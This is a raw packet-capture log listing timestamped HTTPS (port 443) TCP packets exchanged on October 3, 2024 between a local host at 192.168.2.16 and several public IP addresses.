Oct 3, 2024 18:18:12.894242048 CEST	443	49739	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.894258976 CEST	49739	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.894304037 CEST	49739	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.894666910 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.894691944 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.894718885 CEST	49734	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.894779921 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.895160913 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.895174980 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.990578890 CEST	443	49734	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.990889072 CEST	443	49734	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:12.990982056 CEST	49734	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.991642952 CEST	49734	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:12.991686106 CEST	443	49734	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.145978928 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.146841049 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.146883011 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.147798061 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.147892952 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.149260044 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.149319887 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.149507046 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.149523020 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.158366919 CEST	443	49740	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.158634901 CEST	49740	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.158648968 CEST	443	49740	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.160118103 CEST	443	49740	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.160207033 CEST	49740	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.160449028 CEST	49740	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.160531044 CEST	443	49740	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.160567999 CEST	49740	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.188797951 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.204760075 CEST	49740	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.204767942 CEST	443	49740	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.252759933 CEST	49740	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.307677031 CEST	443	49740	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.308096886 CEST	443	49740	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.308617115 CEST	49740	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.325004101 CEST	49740	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.325040102 CEST	443	49740	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.333523989 CEST	49744	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.333592892 CEST	443	49744	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.333678007 CEST	49744	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.334021091 CEST	49744	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.334033966 CEST	443	49744	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.356859922 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.358829975 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.358866930 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.359942913 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.360022068 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.360577106 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.360846043 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.360924959 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.361414909 CEST	49741	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:13.361479044 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.361805916 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.361824036 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.363020897 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.363127947 CEST	49741	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:13.369383097 CEST	49741	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:13.369616985 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.369982004 CEST	49741	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:13.370013952 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.409984112 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.412283897 CEST	49741	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:13.413127899 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.414382935 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.414391041 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.414472103 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.414504051 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.414916039 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.414963007 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.414994001 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.415005922 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.415077925 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.489360094 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.489411116 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.489444971 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.489476919 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.489479065 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.489521980 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.489552975 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.489574909 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.489617109 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.489624023 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.489636898 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.489698887 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.489727974 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.489727974 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.489742041 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.489777088 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.504199028 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.504276037 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.504290104 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.504352093 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.507129908 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.507359982 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.507420063 CEST	49741	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:13.507451057 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.507570982 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.507621050 CEST	49741	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:13.507635117 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.507787943 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.507836103 CEST	49741	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:13.507846117 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.508070946 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.508131981 CEST	49741	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:13.508693933 CEST	49736	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.508735895 CEST	443	49736	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.523621082 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.523711920 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.523797035 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.524189949 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:13.524228096 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:13.526786089 CEST	49741	443	192.168.2.16	188.114.96.3
Oct 3, 2024 18:18:13.526815891 CEST	443	49741	188.114.96.3	192.168.2.16
Oct 3, 2024 18:18:13.534421921 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:13.534468889 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:13.534548044 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:13.534871101 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:13.534883976 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:13.537062883 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.537096024 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.539689064 CEST	49747	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.539771080 CEST	443	49747	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.539868116 CEST	49747	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.542318106 CEST	49747	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.542344093 CEST	443	49747	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.574222088 CEST	49748	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:13.574249029 CEST	443	49748	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:13.574326992 CEST	49748	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:13.574804068 CEST	49748	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:13.574815035 CEST	443	49748	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:13.576348066 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.576390028 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.576417923 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.576442957 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.576452017 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.576498032 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.576525927 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.576529980 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.576548100 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.576594114 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.576869965 CEST	49742	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.576900005 CEST	443	49742	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.579808950 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.579852104 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.579926968 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.580190897 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.580209970 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.826879978 CEST	443	49744	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.827228069 CEST	49744	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.827239037 CEST	443	49744	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.828013897 CEST	443	49744	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.828380108 CEST	49744	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.828458071 CEST	443	49744	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.828588009 CEST	49744	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.839773893 CEST	49678	443	192.168.2.16	20.189.173.10
Oct 3, 2024 18:18:13.875430107 CEST	443	49744	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.975826979 CEST	443	49744	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.976129055 CEST	443	49744	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:13.976197004 CEST	49744	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.977664948 CEST	49744	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:13.977713108 CEST	443	49744	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.005820990 CEST	443	49747	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.006102085 CEST	49747	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.006125927 CEST	443	49747	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.009119034 CEST	443	49747	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.009221077 CEST	49747	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.009763956 CEST	49747	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.009797096 CEST	49747	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.009886980 CEST	443	49747	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.009910107 CEST	49747	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.009970903 CEST	49747	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.010303974 CEST	49752	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.010350943 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.010426998 CEST	49752	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.010629892 CEST	49752	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.010648966 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.017052889 CEST	49753	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.017095089 CEST	443	49753	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.017169952 CEST	49753	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.017425060 CEST	49753	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.017442942 CEST	443	49753	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.035155058 CEST	49755	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.035167933 CEST	443	49755	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.035263062 CEST	49755	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.035813093 CEST	49756	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.035836935 CEST	443	49756	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.036021948 CEST	49756	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.037233114 CEST	49758	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.037273884 CEST	443	49758	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.037336111 CEST	49758	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.037625074 CEST	49755	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.037640095 CEST	443	49755	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.038440943 CEST	49756	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.038456917 CEST	443	49756	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.038965940 CEST	49759	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.038973093 CEST	443	49759	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.039062977 CEST	49759	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.039401054 CEST	49758	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.039422989 CEST	443	49758	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.039699078 CEST	49759	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.039716005 CEST	443	49759	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.049308062 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.049612999 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.049644947 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.049976110 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.050332069 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.050405025 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.050472975 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.059212923 CEST	443	49748	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.059710979 CEST	49748	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.059721947 CEST	443	49748	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.061202049 CEST	443	49748	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.061592102 CEST	49748	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.061592102 CEST	49748	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.061592102 CEST	49748	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.061665058 CEST	443	49748	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.061738014 CEST	49748	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.061738014 CEST	49748	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.061981916 CEST	49760	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.062028885 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.062118053 CEST	49760	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.062345982 CEST	49760	443	192.168.2.16	188.114.97.3
Oct 3, 2024 18:18:14.062355995 CEST	443	49760	188.114.97.3	192.168.2.16
Oct 3, 2024 18:18:14.091407061 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.185416937 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.185457945 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.185486078 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.185512066 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.185520887 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.185559034 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.185575008 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.185595036 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.185626030 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.185651064 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.185659885 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.185728073 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.185735941 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.186089993 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.186136961 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.186146021 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.190687895 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.190742016 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.190766096 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.233599901 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.233927965 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.233973980 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.237601995 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.237690926 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.237778902 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.238198996 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.238286972 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.238743067 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.238760948 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.258544922 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.258903027 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.258929968 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.262533903 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.262614965 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.263134956 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.263312101 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.263448000 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.263457060 CEST	443	49746	52.218.242.160	192.168.2.16
Oct 3, 2024 18:18:14.272088051 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.272145033 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.272173882 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.272228956 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.272258997 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.272329092 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.283006907 CEST	49749	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.283055067 CEST	443	49749	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.285917997 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.319345951 CEST	49746	443	192.168.2.16	52.218.242.160
Oct 3, 2024 18:18:14.479074001 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.479463100 CEST	49752	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.479506016 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.479887962 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.480458975 CEST	49752	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.480537891 CEST	443	49752	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.480669975 CEST	49752	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.486301899 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.487987041 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.488008022 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.488045931 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.488060951 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.488079071 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.488091946 CEST	443	49745	52.92.227.48	192.168.2.16
Oct 3, 2024 18:18:14.488110065 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.488130093 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.488157034 CEST	49745	443	192.168.2.16	52.92.227.48
Oct 3, 2024 18:18:14.497477055 CEST	443	49753	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.497797966 CEST	49753	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.497813940 CEST	443	49753	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.498382092 CEST	443	49755	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.498604059 CEST	49755	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.498619080 CEST	443	49755	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.499264002 CEST	443	49753	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.499370098 CEST	49753	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.499795914 CEST	49753	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.499809027 CEST	49753	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.499901056 CEST	443	49753	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.499932051 CEST	49753	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.499965906 CEST	49753	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.500092983 CEST	443	49755	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.500180006 CEST	49755	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.500267029 CEST	49761	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.500324965 CEST	443	49761	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.500606060 CEST	49761	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.500617981 CEST	49755	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.500617981 CEST	49755	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.500653028 CEST	49755	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.500721931 CEST	443	49755	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.500837088 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.500848055 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.500880957 CEST	49755	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.500914097 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.501104116 CEST	49761	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.501118898 CEST	443	49761	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.501288891 CEST	49762	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.501302004 CEST	443	49762	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.501653910 CEST	443	49756	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.501991034 CEST	49756	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.502002954 CEST	443	49756	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.503019094 CEST	443	49756	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.503096104 CEST	49756	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.503489971 CEST	49756	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.503509998 CEST	49756	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.503547907 CEST	443	49756	104.21.57.136	192.168.2.16
Oct 3, 2024 18:18:14.503571987 CEST	49756	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.503623962 CEST	49756	443	192.168.2.16	104.21.57.136
Oct 3, 2024 18:18:14.504035950 CEST	49763	443	192.168.2.16	104.21.57.136
